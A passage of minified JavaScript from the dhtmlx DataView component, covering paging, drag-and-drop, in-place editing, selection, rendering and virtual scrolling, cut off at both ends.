c=\"\";if(e.page==-1){return\"\"}e.min=e.page-Math.round((e.group-1)/2);e.max=e.min+e.group-1;if(e.min<0){e.max+=e.min*(-1);e.min=0}if(e.max>=e.limit){e.min-=Math.min(e.min,e.max-e.limit+1);e.max=e.limit-1}for(var a=(e.min||0);a<=e.max;a++){c+=this.button({id:a,index:(a+1),selected:(a==e.page?\"_selected\":\"\")})}return c},page:function(a){return a.page+1},first:function(){return this.button({id:\"first\",index:\" &lt;&lt; \",selected:\"\"})},last:function(){return this.button({id:\"last\",index:\" &gt;&gt; \",selected:\"\"})},prev:function(){return this.button({id:\"prev\",index:\"&lt;\",selected:\"\"})},next:function(){return this.button({id:\"next\",index:\"&gt;\",selected:\"\"})},button:dhtmlx.Template.fromHTML(\"<div dhx_p_id='{obj.id}' class='dhx_pager_item{obj.selected}'>{obj.index}</div>\")}},refresh:function(){var a=this._settings;a.limit=Math.ceil(a.count/a.size);if(a.limit&&a.limit!=a.old_limit){a.page=Math.min(a.limit-1,a.page)}var c=a.page;if(c!=-1&&(c!=a.old_page)||(a.limit!=a.old_limit)){this.render();this.callEvent(\"onRefresh\",[]);a.old_limit=a.limit;a.old_page=a.page}},template_item_start:dhtmlx.Template.fromHTML(\"<div>\"),template_item_end:dhtmlx.Template.fromHTML(\"</div>\")};dhtmlx.DataProcessor={_dp_init:function(c){var a=\"_methods\";c[a]=[\"setItemStyle\",\"\",\"changeId\",\"remove\"];this.attachEvent(\"onAfterAdd\",function(e){c.setUpdated(e,true,\"inserted\")});this.data.attachEvent(\"onStoreLoad\",dhtmlx.bind(function(g,e){if(g.getUserData){g.getUserData(e,this._userdata)}},this));this.attachEvent(\"onBeforeDelete\",function(g){if(c._silent_mode){return true}var e=c.getState(g);if(e==\"inserted\"){c.setUpdated(g,false);return true}if(e==\"deleted\"){return false}if(e==\"true_deleted\"){return true}c.setUpdated(g,true,\"deleted\");return false});this.attachEvent(\"onAfterEditStop\",function(e){c.setUpdated(e,true,\"updated\")});this.attachEvent(\"onBindUpdate\",function(e){window.setTimeout(function(){c.setUpdated(e.id,true,\"updated\")},1)});a=\"_getRowData\";c[a]=function(m,e){var h=this.obj.data.get(m);var l={};for(var g in h){if(g.indexOf(\"_\")===0){continue}l[g]=h[g]}return l};a=\"_clearUpdateFlag\";c[a]=function(){};this._userdata={};c.attachEvent(\"insertCallback\",this._dp_callback);c.attachEvent(\"updateCallback\",this._dp_callback);c.attachEvent(\"deleteCallback\",function(e,g){this.obj.setUserData(g,this.action_param,\"true_deleted\");this.obj.remove(g)});dhtmlx.compat(\"dataProcessor\",c)},_dp_callback:function(a,c){this.obj.data.set(c,dhtmlx.DataDriver.xml.getDetails(a.firstChild));this.obj.data.refresh(c)},setItemStyle:function(e,a){var c=this._locateHTML(e);if(c){c.style.cssText+=\";\"+a}},changeId:function(c,a){this.data.changeId(c,a);this.refresh()},setUserData:function(e,a,c){if(e){this.data.get(e)[a]=c}else{this._userdata[a]=c}},getUserData:function(c,a){return c?this.data.get(c)[a]:this._userdata[a]}};(function(){var a=\"_dp_init\";dhtmlx.DataProcessor[a]=dhtmlx.DataProcessor._dp_init})();dhtmlx.compat.dnd=function(){if(window.dhtmlDragAndDropObject){var n=\"_dragged\";var g=dhtmlDragAndDropObject.prototype.checkLanding;dhtmlDragAndDropObject.prototype.checkLanding=function(q,r,o){g.apply(this,arguments);if(!o){var s=dhtmlx.DragControl._drag_context=dhtmlx.DragControl._drag_context||{};if(!s.from){s.from=this.dragStartObject}dhtmlx.DragControl._checkLand(q,r,true)}};var c=dhtmlDragAndDropObject.prototype.stopDrag;dhtmlDragAndDropObject.prototype.stopDrag=function(r,o,q){if(!q){if(dhtmlx.DragControl._last){dhtmlx.DragControl._active=m.dragStartNode;dhtmlx.DragControl._stopDrag(r,true)}}c.apply(this,arguments)};var m=new dhtmlDragAndDropObject();var h=dhtmlx.DragControl._startDrag;dhtmlx.DragControl._startDrag=function(){h.apply(this,arguments);var s=dhtmlx.DragControl._drag_context;if(!s){return}var r=[];var q=[];for(var o=0;o<s.source.length;o++){r[o]={idd:s.source[o]};q.push(s.source[o])}m.dragStartNode={parentNode:{},parentObject:{idd:r,id:(q.length==1?q[0]:q),treeNod:{object:s.from}}};m.dragStartNode.parentObject.treeNod[n]=r;m.dragStartObject=s.from};var l=dhtmlx.DragControl._checkLand;dhtmlx.DragControl._checkLand=function(q,r,o){l.apply(this,arguments);if(!this._last&&!o){q=m.checkLanding(q,r,true)}};var a=dhtmlx.DragControl._stopDrag;dhtmlx.DragControl._stopDrag=function(q,o){a.apply(this,arguments);if(m.lastLanding&&!o){m.stopDrag(q,false,true)}};var e=dhtmlx.DragControl.getMaster;dhtmlx.DragControl.getMaster=function(q){var r=null;if(q){r=e.apply(this,arguments)}if(!r){r=m.dragStartObject;var s=[];var u=r[n];for(var o=0;o<u.length;o++){s.push(u[o].idd||u[o].id)}dhtmlx.DragControl._drag_context.source=s}return r}}};dhtmlx.DataMove={_init:function(){dhtmlx.assert(this.data,\"DataMove :: Component doesn't have DataStore\")},copy:function(c,h,a,g){var e=this.get(c);if(!e){dhtmlx.log(\"Warning\",\"Incorrect ID in DataMove::copy\");return}if(a){dhtmlx.assert(a.externalData,\"DataMove :: External object doesn't support operation\");e=a.externalData(e)}a=a||this;return a.add(a.externalData(e,g),h)},move:function(e,m,c,l){if(e instanceof Array){for(var g=0;g<e.length;g++){var a=(c||this).indexById(this.move(e[g],m,c,e[g]));if(e[g+1]){m=a+(this.indexById(e[g+1])<a?0:1)}}return}nid=e;if(m<0){dhtmlx.log(\"Info\",\"DataMove::move - moving outside of bounds is ignored\");return}var h=this.get(e);if(!h){dhtmlx.log(\"Warning\",\"Incorrect ID in DataMove::move\");return}if(!c||c==this){this.data.move(this.indexById(e),m)}else{dhtmlx.assert(c.externalData,\"DataMove :: External object doesn't support operation\");nid=c.add(c.externalData(h,l),m);this.remove(e)}return nid},moveUp:function(c,a){return this.move(c,this.indexById(c)-(a||1))},moveDown:function(c,a){return this.moveUp(c,(a||1)*-1)},moveTop:function(a){return this.move(a,0)},moveBottom:function(a){return this.move(a,this.data.dataCount()-1)},externalData:function(a,e){var c=dhtmlx.extend({},a);c.id=e||dhtmlx.uid();c.$selected=c.$template=null;return c}};dhtmlx.DragControl={_drag_masters:dhtmlx.toArray([\"dummy\"]),addDrop:function(c,e,a){c=dhtmlx.toNode(c);c.dhx_drop=this._getCtrl(e);if(a){c.dhx_master=true}},_getCtrl:function(c){c=c||dhtmlx.DragControl;var a=this._drag_masters.find(c);if(a<0){a=this._drag_masters.length;this._drag_masters.push(c)}return a},addDrag:function(a,c){a=dhtmlx.toNode(a);a.dhx_drag=this._getCtrl(c);dhtmlx.event(a,\"mousedown\",this._preStart,a)},_preStart:function(a){if(dhtmlx.DragControl._active){dhtmlx.DragControl._preStartFalse();dhtmlx.DragControl.destroyDrag()}dhtmlx.DragControl._active=this;dhtmlx.DragControl._start_pos={x:a.pageX,y:a.pageY};dhtmlx.DragControl._dhx_drag_mm=dhtmlx.event(document.body,\"mousemove\",dhtmlx.DragControl._startDrag);dhtmlx.DragControl._dhx_drag_mu=dhtmlx.event(document.body,\"mouseup\",dhtmlx.DragControl._preStartFalse);dhtmlx.DragControl._dhx_drag_sc=dhtmlx.event(this,\"scroll\",dhtmlx.DragControl._preStartFalse);a.cancelBubble=true;return false},_preStartFalse:function(a){dhtmlx.DragControl._dhx_drag_mm=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_mm);dhtmlx.DragControl._dhx_drag_mu=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_mu);dhtmlx.DragControl._dhx_drag_sc=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_sc)},_startDrag:function(a){var c={x:a.pageX,y:a.pageY};if(Math.abs(c.x-dhtmlx.DragControl._start_pos.x)<5&&Math.abs(c.y-dhtmlx.DragControl._start_pos.y)<5){return}dhtmlx.DragControl._preStartFalse();if(!dhtmlx.DragControl.createDrag(a)){return}dhtmlx.DragControl.sendSignal(\"start\");dhtmlx.DragControl._dhx_drag_mm=dhtmlx.event(document.body,\"mousemove\",dhtmlx.DragControl._moveDrag);dhtmlx.DragControl._dhx_drag_mu=dhtmlx.event(document.body,\"mouseup\",dhtmlx.DragControl._stopDrag);dhtmlx.DragControl._moveDrag(a)},_stopDrag:function(a){dhtmlx.DragControl._dhx_drag_mm=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_mm);dhtmlx.DragControl._dhx_drag_mu=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_mu);if(dhtmlx.DragControl._last){dhtmlx.DragControl.onDrop(dhtmlx.DragControl._active,dhtmlx.DragControl._last,this._landing,a);dhtmlx.DragControl.onDragOut(dhtmlx.DragControl._active,dhtmlx.DragControl._last,null,a)}dhtmlx.DragControl.destroyDrag();dhtmlx.DragControl.sendSignal(\"stop\")},_moveDrag:function(a){var c=dhtmlx.html.pos(a);dhtmlx.DragControl._html.style.top=c.y+dhtmlx.DragControl.top+\"px\";dhtmlx.DragControl._html.style.left=c.x+dhtmlx.DragControl.left+\"px\";if(dhtmlx.DragControl._skip){dhtmlx.DragControl._skip=false}else{dhtmlx.DragControl._checkLand((a.srcElement||a.target),a)}a.cancelBubble=true;return false},_checkLand:function(a,c){while(a&&a.tagName!=\"BODY\"){if(a.dhx_drop){if(this._last&&(this._last!=a||a.dhx_master)){this.onDragOut(this._active,this._last,a,c)}if(!this._last||this._last!=a||a.dhx_master){this._last=null;this._landing=this.onDragIn(dhtmlx.DragControl._active,a,c);if(this._landing){this._last=a}return}return}a=a.parentNode}if(this._last){this._last=this._landing=this.onDragOut(this._active,this._last,null,c)}},sendSignal:function(a){dhtmlx.DragControl.active=(a==\"start\")},getMaster:function(a){return this._drag_masters[a.dhx_drag||a.dhx_drop]},getContext:function(a){return this._drag_context},createDrag:function(l){var g=dhtmlx.DragControl._active;var h=this._drag_masters[g.dhx_drag];var c;if(h.onDragCreate){c=h.onDragCreate(g,l);c.style.position=\"absolute\";c.style.zIndex=dhtmlx.zIndex.drag;c.onmousemove=dhtmlx.DragControl._skip_mark}else{var m=dhtmlx.DragControl.onDrag(g,l);if(!m){return false}var c=document.createElement(\"DIV\");c.innerHTML=m;c.className=\"dhx_drag_zone\";c.onmousemove=dhtmlx.DragControl._skip_mark;document.body.appendChild(c)}dhtmlx.DragControl._html=c;return true},_skip_mark:function(){dhtmlx.DragControl._skip=true},destroyDrag:function(){var c=dhtmlx.DragControl._active;var e=this._drag_masters[c.dhx_drag];if(e&&e.onDragDestroy){e.onDragDestroy(c,dhtmlx.DragControl._html)}else{dhtmlx.html.remove(dhtmlx.DragControl._html)}dhtmlx.DragControl._landing=dhtmlx.DragControl._active=dhtmlx.DragControl._last=dhtmlx.DragControl._html=null},top:5,left:5,onDragIn:function(g,c,h){var a=this._drag_masters[c.dhx_drop];if(a.onDragIn&&a!=this){return a.onDragIn(g,c,h)}c.className=c.className+\" dhx_drop_zone\";return c},onDragOut:function(g,c,l,h){var a=this._drag_masters[c.dhx_drop];if(a.onDragOut&&a!=this){return a.onDragOut(g,c,l,h)}c.className=c.className.replace(\"dhx_drop_zone\",\"\");return null},onDrop:function(g,c,l,h){var a=this._drag_masters[c.dhx_drop];dhtmlx.DragControl._drag_context.from=dhtmlx.DragControl.getMaster(g);if(a.onDrop&&a!=this){return a.onDrop(g,c,l,h)}c.appendChild(g)},onDrag:function(c,g){var a=this._drag_masters[c.dhx_drag];if(a.onDrag&&a!=this){return a.onDrag(c,g)}dhtmlx.DragControl._drag_context={source:c,from:c};return\"<div style='\"+c.style.cssText+\"'>\"+c.innerHTML+\"</div>\"}};dhtmlx.DragItem={_init:function(){dhtmlx.assert(this.move,\"DragItem :: Component doesn't have DataMove interface\");dhtmlx.assert(this.locate,\"DragItem :: Component doesn't have RenderStack interface\");dhtmlx.assert(dhtmlx.DragControl,\"DragItem :: DragControl is not included\");if(!this._settings||this._settings.drag){dhtmlx.DragItem._initHandlers(this)}else{if(this._settings){this.drag_setter=function(a){if(a){this._initHandlers(this);delete this.drag_setter}return a}}}if(this.dragMarker){this.attachEvent(\"onBeforeDragIn\",this.dragMarker);this.attachEvent(\"onDragOut\",this.dragMarker)}},_initHandlers:function(a){dhtmlx.DragControl.addDrop(a._obj,a,true);dhtmlx.DragControl.addDrag(a._obj,a)},onDragIn:function(h,g,l){var n=this.locate(l)||null;var c=dhtmlx.DragControl._drag_context;var m=dhtmlx.DragControl.getMaster(h);var a=(this._locateHTML(n)||this._obj);if(a==dhtmlx.DragControl._landing){return a}c.target=n;c.to=m;if(!this.callEvent(\"onBeforeDragIn\",[c,l])){c.id=null;return null}dhtmlx.html.addCss(a,\"dhx_drag_over\");return a},onDragOut:function(h,g,o,l){var m=this.locate(l)||null;if(o!=this._dataobj){m=null}var c=(this._locateHTML(m)||(o?dhtmlx.DragControl.getMaster(o)._obj:window.undefined));if(c==dhtmlx.DragControl._landing){return null}var a=dhtmlx.DragControl._drag_context;dhtmlx.html.removeCss(dhtmlx.DragControl._landing,\"dhx_drag_over\");a.target=a.to=null;this.callEvent(\"onDragOut\",[a,l]);return null},onDrop:function(g,c,l,h){var a=dhtmlx.DragControl._drag_context;a.to=this;a.index=a.target?this.indexById(a.target):this.dataCount();a.new_id=dhtmlx.uid();if(!this.callEvent(\"onBeforeDrop\",[a,h])){return}if(a.from==a.to){this.move(a.source,a.index)}else{if(a.from){a.from.move(a.source,a.index,a.to,a.new_id)}else{dhtmlx.error(\"Unsopported d-n-d combination\")}}this.callEvent(\"onAfterDrop\",[a,h])},onDrag:function(g,l){var m=this.locate(l);var h=[m];if(m){if(this.getSelected){var c=this.getSelected();if(dhtmlx.PowerArray.find.call(c,m)!=-1){h=c}}var a=dhtmlx.DragControl._drag_context={source:h,start:m};a.from=this;if(this.callEvent(\"onBeforeDrag\",[a,l])){return a.html||this._toHTML(this.get(m))}}return null}};dhtmlx.EditAbility={_init:function(a){this._edit_id=null;this._edit_bind=null;dhtmlx.assert(this.data,\"EditAbility :: Component doesn't have DataStore\");dhtmlx.assert(this._locateHTML,\"EditAbility :: Component doesn't have RenderStack\");this.attachEvent(\"onEditKeyPress\",function(e,g,c){if(e==13&&!c){this.stopEdit()}else{if(e==27){this.stopEdit(true)}}});this.attachEvent(\"onBeforeRender\",function(){this.stopEdit()})},isEdit:function(){return this._edit_id},edit:function(c){if(this.stopEdit(false,c)){if(!this.callEvent(\"onBeforeEditStart\",[c])){return}var a=this.data.get(c);if(a.$template){return}a.$template=\"edit\";this.data.refresh(c);this._edit_id=c;this._save_binding(c);this._edit_bind(true,a);this.callEvent(\"onAfterEditStart\",[c])}},stopEdit:function(e,h){if(!this._edit_id){return true}if(this._edit_id==h){return false}var a={};if(!e){this._edit_bind(false,a)}else{a=null}if(!this.callEvent(\"onBeforeEditStop\",[this._edit_id,a])){return false}var c=this.data.get(this._edit_id);c.$template=null;if(!e){this._edit_bind(false,c)}var g=this._edit_id;this._edit_bind=this._edit_id=null;this.data.refresh(g);this.callEvent(\"onAfterEditStop\",[g,a]);return true},_save_binding:function(n){var a=this._locateHTML(n);var e=\"\";var l=\"\";var h=[];if(a){var g=a.getElementsByTagName(\"*\");var m=\"\";for(var c=0;c<g.length;c++){if(g[c].nodeType==1&&(m=g[c].getAttribute(\"bind\"))){e+=\"els[\"+h.length+\"].value=\"+m+\";\";l+=m+\"=els[\"+h.length+\"].value;\";h.push(g[c]);g[c].className+=\" dhx_allow_selection\";g[c].onselectstart=this._block_native}}g=null}e=Function(\"obj\",\"els\",e);l=Function(\"obj\",\"els\",l);this._edit_bind=function(q,o){if(q){e(o,h);if(h.length&&h[0].select){h[0].select()}}else{l(o,h)}}},_block_native:function(a){(a||event).cancelBubble=true;return true}};dhtmlx.SelectionModel={_init:function(){this._selected=dhtmlx.toArray();dhtmlx.assert(this.data,\"SelectionModel :: Component doesn't have DataStore\");this.data.attachEvent(\"onStoreUpdated\",dhtmlx.bind(this._data_updated,this));this.data.attachEvent(\"onStoreLoad\",dhtmlx.bind(this._data_loaded,this));this.data.attachEvent(\"onAfterFilter\",dhtmlx.bind(this._data_filtered,this));this.data.attachEvent(\"onIdChange\",dhtmlx.bind(this._id_changed,this))},_id_changed:function(e,a){for(var c=this._selected.length-1;c>=0;c--){if(this._selected[c]==e){this._selected[c]=a}}},_data_filtered:function(){for(var a=this._selected.length-1;a>=0;a--){if(this.data.indexById(this._selected[a])<0){var e=this._selected[a]}var c=this.item(e);if(c){delete c.$selected}this._selected.splice(a,1);this.callEvent(\"onSelectChange\",[e])}},_data_updated:function(e,c,a){if(a==\"delete\"){this._selected.remove(e)}else{if(!this.data.dataCount()&&!this.data._filter_order){this._selected=dhtmlx.toArray()}}},_data_loaded:function(){if(this._settings.select){this.data.each(function(a){if(a.$selected){this.select(a.id)}},this)}},_select_mark:function(e,c,a){if(!a&&!this.callEvent(\"onBeforeSelect\",[e,c])){return false}this.data.item(e).$selected=c;if(a){a.push(e)}else{if(c){this._selected.push(e)}else{this._selected.remove(e)}this._refresh_selection(e)}return true},select:function(g,e,a){if(!g){return this.selectAll()}if(g instanceof Array){for(var c=0;c<g.length;c++){this.select(g[c],e,a)}return}if(!this.data.exists(g)){dhtmlx.error(\"Incorrect id in select command: \"+g);return}if(a&&this._selected.length){return this.selectAll(this._selected[this._selected.length-1],g)}if(!e&&(this._selected.length!=1||this._selected[0]!=g)){this._silent_selection=true;this.unselectAll();this._silent_selection=false}if(this.isSelected(g)){if(e){this.unselect(g)}return}if(this._select_mark(g,true)){this.callEvent(\"onAfterSelect\",[g])}},unselect:function(a){if(!a){return this.unselectAll()}if(!this.isSelected(a)){return}this._select_mark(a,false)},selectAll:function(g,e){var a;var c=[];if(g||e){a=this.data.getRange(g||null,e||null)}else{a=this.data.getRange()}a.each(function(h){var l=this.data.item(h.id);if(!l.$selected){this._selected.push(h.id);this._select_mark(h.id,true,c)}return h.id},this);this._refresh_selection(c)},unselectAll:function(){var a=[];this._selected.each(function(c){this._select_mark(c,false,a)},this);this._selected=dhtmlx.toArray();this._refresh_selection(a)},isSelected:function(a){return this._selected.find(a)!=-1},getSelected:function(a){switch(this._selected.length){case 0:return a?[]:\"\";case 1:return a?[this._selected[0]]:this._selected[0];default:return([].concat(this._selected))}},_is_mass_selection:function(a){return a.length>100||a.length>this.data.dataCount/2},_refresh_selection:function(c){if(typeof c!=\"object\"){c=[c]}if(!c.length){return}if(this._is_mass_selection(c)){this.data.refresh()}else{for(var a=0;a<c.length;a++){this.render(c[a],this.data.item(c[a]),\"update\")}}if(!this._silent_selection){this.callEvent(\"onSelectChange\",[c])}}};dhtmlx.RenderStack={_init:function(){dhtmlx.assert(this.data,\"RenderStack :: Component doesn't have DataStore\");dhtmlx.assert(dhtmlx.Template,\"dhtmlx.Template :: dhtmlx.Template is not accessible\");this._html=document.createElement(\"DIV\")},_toHTML:function(a){dhtmlx.assert((!a.$template||this.type[\"template_\"+a.$template]),\"RenderStack :: Unknown template: \"+a.$template);this.callEvent(\"onItemRender\",[a]);return this.type._item_start(a,this.type)+(a.$template?this.type[\"template_\"+a.$template]:this.type.template)(a,this.type)+this.type._item_end},_toHTMLObject:function(a){this._html.innerHTML=this._toHTML(a);return this._html.firstChild},_locateHTML:function(a){if(this._htmlmap){return this._htmlmap[a]}this._htmlmap={};var e=this._dataobj.childNodes;for(var c=0;c<e.length;c++){var g=e[c].getAttribute(this._id);if(g){this._htmlmap[g]=e[c]}}return this._locateHTML(a)},locate:function(a){return dhtmlx.html.locate(a,this._id)},show:function(c){var a=this._locateHTML(c);if(a){this._dataobj.scrollTop=a.offsetTop-this._dataobj.offsetTop}},render:function(l,g,e,h){if(l){var a=this._locateHTML(l);switch(e){case\"update\":if(!a){return}var c=this._htmlmap[l]=this._toHTMLObject(g);dhtmlx.html.insertBefore(c,a);dhtmlx.html.remove(a);break;case\"delete\":if(!a){return}dhtmlx.html.remove(a);delete this._htmlmap[l];break;case\"add\":var c=this._htmlmap[l]=this._toHTMLObject(g);dhtmlx.html.insertBefore(c,this._locateHTML(this.data.next(l)),this._dataobj);break;case\"move\":this.render(l,g,\"delete\");this.render(l,g,\"add\");break;default:dhtmlx.error(\"Unknown render command: \"+e);break}}else{if(this.callEvent(\"onBeforeRender\",[this.data])){this._dataobj.innerHTML=this.data.getRange().map(this._toHTML,this).join(\"\");this._htmlmap=null}}this.callEvent(\"onAfterRender\",[])},pager_setter:function(c){this.attachEvent(\"onBeforeRender\",function(){var g=this._settings.pager._settings;if(g.page==-1){return false}this.data.min=g.page*g.size;this.data.max=(g.page+1)*g.size-1;return true});var a=new dhtmlx.ui.pager(c);var e=dhtmlx.bind(function(){this.data.refresh()},this);a.attachEvent(\"onRefresh\",e);this.data.attachEvent(\"onStoreUpdated\",function(h){var g=this.dataCount();if(g!=a._settings.count){a._settings.count=g;if(a._settings.page==-1){a._settings.page=0}a.refresh()}});return a},height_setter:function(a){if(a==\"auto\"){this.attachEvent(\"onAfterRender\",this._correct_height);dhtmlx.event(window,\"resize\",dhtmlx.bind(this._correct_height,this))}return a},_correct_height:function(){this._dataobj.style.overflow=\"hidden\";this._dataobj.style.height=\"1px\";var a=this._dataobj.scrollHeight;this._dataobj.style.height=a+\"px\";if(dhtmlx._isFF){var c=this._dataobj.scrollHeight;if(c!=a){this._dataobj.style.height=c+\"px\"}}this._obj.style.height=this._dataobj.style.height},_getDimension:function(){var a=this.type;var c=(a.border||0)+(a.padding||0)*2+(a.margin||0)*2;return{x:a.width+c,y:a.height+c}},x_count_setter:function(c){var e=this._getDimension();var a=dhtmlx.$customScroll?0:18;this._dataobj.style.width=e.x*c+(this._settings.height!=\"auto\"?a:0)+\"px\";return c},y_count_setter:function(a){var c=this._getDimension();this._dataobj.style.height=c.y*a+\"px\";return a}};dhtmlx.VirtualRenderStack={_init:function(){dhtmlx.assert(this.render,\"VirtualRenderStack :: Object must use RenderStack first\");this._htmlmap={};this._dataobj.style.overflowY=\"scroll\";dhtmlx.event(this._dataobj,\"scroll\",dhtmlx.bind(this._render_visible_rows,this));dhtmlx.event(window,\"resize\",dhtmlx.bind(function(){this.render()},this));this.data._unrendered_area=[];this.data.getIndexRange=this._getIndexRange},_locateHTML:function(a){return this._htmlmap[a]},show:function(e){range=this._getVisibleRange();var c=this.data.indexById(e);var a=Math.floor(c/range._dx)*range._y;this._dataobj.scrollTop=a},_getIndexRange:function(h,g){if(g!==0){g=Math.min((g||Infinity),this.dataCount()-1)}var a=dhtmlx.toArray();for(var c=(h||0);c<=g;c++){var e=this.item(this.order[c]);if(this.order.length>c){if(!e){this.order[c]=dhtmlx.uid();e={id:this.order[c],$template:\"loading\"};this._unrendered_area.push(this.order[c])}else{if(e.$template==\"loading\"){this._unrendered_area.push(this.order[c])}}a.push(e)}}return a},render:function(l,g,e,h){if(l){var a=this._locateHTML(l);switch(e){case\"update\":if(!a){return}var c=this._htmlmap[l]=this._toHTMLObject(g);dhtmlx.html.insertBefore(c,a);dhtmlx.html.remove(a);break;default:this._render_delayed();break}}else{if(this.callEvent(\"onBeforeRender\",[this.data])){this._htmlmap={};this._render_visible_rows(null,true);this._wait_for_render=false;this.callEvent(\"onAfterRender\",[])}}},_render_delayed:function(){if(this._wait_for_render){return}this._wait_for_render=true;window.setTimeout(dhtmlx.bind(function(){this.render()},this),1)},_create_placeholder:function(a){var c=document.createElement(\"DIV\");c.className=\"dhxdataview_placeholder\";c.style.cssText=\"height:\"+a+\"px; width:100%; overflow:hidden;\";return c},_render_visible_rows:function(A,E){this.data._unrendered_area=[];var y=this._getVisibleRange();if(!this._dataobj.firstChild||E){this._dataobj.innerHTML=\"\";this._dataobj.appendChild(this._create_placeholder(y._max));this._htmlrows=[this._dataobj.firstChild]}var l=Math.max(y._from,0);var x=(this.data.max||this.data.max===0)?this.data.max:Infinity;while(l<=y._height){while(this._htmlrows[l]&&this._htmlrows[l]._filled&&l<=y._height){l++}if(l>y._height){break}var o=l;while(!this._htmlrows[o]){o--}var a=this._htmlrows[o];var g=l*y._dx+(this.data.min||0);if(g>x){break}var m=Math.min(g+y._dx-1,x);var r=this._create_placeholder(y._y);var n=this.data.getIndexRange(g,m);if(!n.length){break}r.innerHTML=n.map(this._toHTML,this).join(\"\");for(var v=0;v<n.length;v++){this._htmlmap[this.data.idByIndex(g+v)]=r.childNodes[v]}var w=parseInt(a.style.height,10);var D=(l-o)*y._y;var u=(w-D-y._y);dhtmlx.html.insertBefore(r,D?a.nextSibling:a,this._dataobj);this._htmlrows[l]=r;r._filled=true;if(D<=0&&u>0){a.style.height=u+\"px\";this._htmlrows[l+1]=a}else{if(D<0){dhtmlx.html.remove(a)}else{a.style.height=D+\"px\"}if(u>0){var q=this._htmlrows[l+1]=this._create_placeholder(u);dhtmlx.html.insertBefore(q,r.nextSibling,this._dataobj)}}l++}if(this.data._unrendered_area.length){var s=this.indexById(this.data._unrendered_area[0]);var c=this.indexById(this.data._unrendered_area.pop())+1;if(c>s){if(!this.callEvent(\"onDataRequest\",[s,c-s])){return false}dhtmlx.assert(this.data.feed,\"Data feed is missed\");this.data.feed.call(this,s,c-s)}}if(dhtmlx._isIE){var C=this._getVisibleRange();if(C._from!=y._from){this._render_visible_rows()}}},_getVisibleRange:function(){var c=dhtmlx.$customScroll?0:18;var m=this._dataobj.scrollTop;var a=Math.max(this._dataobj.scrollWidth,this._dataobj.offsetWidth)-c;var n=this._dataobj.offsetHeight;var q=this.type;var g=this._getDimension();var r=Math.floor(a/g.x)||1;var e=Math.floor(m/g.y);var o=Math.ceil((n+m)/g.y)-1;var h=this.data.max?(this.data.max-this.data.min):this.data.dataCount();var l=Math.ceil(h/r)*g.y;return{_from:e,_height:o,_top:m,_max:l,_y:g.y,_dx:r}}};dhtmlXDataView=function(a){this.name=\"DataView\";if(dhtmlx.assert_enabled()){this._assert()}dhtmlx.extend(this,dhtmlx.Settings);this._parseContainer(a,\"dhx_dataview\");dhtmlx.extend(this,dhtmlx.AtomDataLoader);dhtmlx.extend(this,dhtmlx.DataLoader);dhtmlx.extend(this,dhtmlx.EventSystem);dhtmlx.extend(this,dhtmlx.RenderStack);dhtmlx.extend(this,dhtmlx.SelectionModel);dhtmlx.extend(this,dhtmlx.MouseEvents);dhtmlx.extend(this,dhtmlx.KeyEvents);dhtmlx.extend(this,dhtmlx.EditAbility);dhtmlx.extend(this,dhtmlx.DataMove);dhtmlx.extend(this,dhtmlx.DragItem);dhtmlx.extend(this,dhtmlx.DataProcessor);dhtmlx.extend(this,dhtmlx.AutoTooltip);dhtmlx.extend(this,dhtmlx.Destruction);this.data.attachEvent(\"onStoreUpdated\",dhtmlx.bind(function(){this.render.apply(this,arguments)},this));this._parseSettings(a,{drag:false,edit:false,select:\"multiselect\",type:\"default\"});if(this._settings.height!=\"auto\"&&!this._settings.renderAll){dhtmlx.extend(this,dhtmlx.VirtualRenderStack)}this.data.provideApi(this,true);if(dhtmlx.$customScroll){dhtmlx.CustomScroll.enable(this)}};dhtmlXDataView.prototype={bind:function(){dhx.BaseBind.legacyBind.apply(this,arguments)},sync:function(){dhx.BaseBind.legacySync.apply(this,arguments)},dragMarker:function(e,h){var g=this._locateHTML(e.target);if(this.type.drag_marker){if(this._drag_marker){this._drag_marker.style.backgroundImage=\"\";this._drag_marker.style.backgroundRepeat=\"\"}if(g){g.style.backgroundImage=\"url(\"+(dhtmlx.image_path||\"\")+this.type.drag_marker+\")\";g.style.backgroundRepeat=\"no-repeat\";this._drag_marker=g}}if(g&&this._settings.auto_scroll){var a=g.offsetTop;var l=g.offsetHeight;var c=this._obj.scrollTop;var m=this._obj.offsetHeight;if(a-l>=0&&a-l*0.75<c){c=Math.max(a-l,0)}else{if(a+l/0.75>c+m){c=c+l}}this._obj.scrollTop=c}return true},_id:\"dhx_f_id\",on_click:{dhx_dataview_item:function(a,c){if(this.stopEdit(false,c)){if(this._settings.select){if(this._settings.select==\"multiselect\"){this.select(c,a.ctrlKey,a.shiftKey)}else{this.select(c)}}}}},on_dblclick:{dhx_dataview_item:function(a,c){if(this._settings.edit){this.edit(c)}}},on_mouse_move:{},types:{\"default\":{css:\"default\",template:dhtmlx.Template.fromHTML(\"<div style='padding:10px; white-space:nowrap; overflow:hidden;'>{obj.text}</div>\"),template_edit:dhtmlx.Template.fromHTML(\"<div style='padding:10px; white-space:nowrap; overflow:hidden;'><textarea style='width:100%; height:100%;' bind='obj.text'></textarea></div>\"),template_loading:dhtmlx.Template.fromHTML(\"<div style='padding:10px; white-space:nowrap; overflow:hidden;'>Loading...</div>\"),width:210,height:115,margin:0,padding:10,border:1}},template_item_start:dhtmlx.Template.fromHTML(\"<div dhx_f_id='{-obj.id}' class='dhx_dataview_item dhx_dataview_{obj.css}_item{-obj.$selected?_selected:}' style='width:{obj.width}px; height:{obj.height}px; padding:{obj.padding}px; margin:{obj.margin}px; float:left; overflow:hidden;'>\"),template_item_end:dhtmlx.Template.fromHTML(\"</div>\")};dhtmlx.compat(\"layout\");if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachDataView=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"dataview\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);if(typeof(a)==\"undefined\"){a={}}c.id=\"DataViewObject_\"+new Date().getTime();a.container=c.id;a.skin=this.conf.skin;this.dataType=\"dataview\";this.dataObj=new dhtmlXDataView(a);this.dataObj.setSizes=function(){this.render()};c=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj}}function 